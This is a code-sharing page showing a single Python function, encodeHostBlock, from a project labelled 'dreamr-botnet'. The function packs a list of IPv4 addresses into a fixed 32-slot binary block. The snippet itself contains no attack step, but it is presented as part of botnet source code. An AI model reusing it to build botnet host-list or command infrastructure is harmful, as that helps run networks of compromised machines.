hostlist.py 文件源码

python
阅读 20 收藏 0 点赞 0 评论 0

项目:dreamr-botnet 作者: YinAndYangSecurityAwareness 项目源码 文件源码
def encodeHostBlock(self, hostlist):
        result = ""
        try:
            i = 0
            while (i < 32):
                if (i == 0 or i > len(hostlist)):
                    address = "127.0.0.1"
                else:
                    address = hostlist[i-1]
                a,b,c,d = map(string.atoi, string.split(address, '.'))
                result += struct.pack("BBBB", a, b, c, d)
                i += 1
        except Exception as e:
            pass
        return result

    # Take a 128 byte host block and turns it back into an array
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号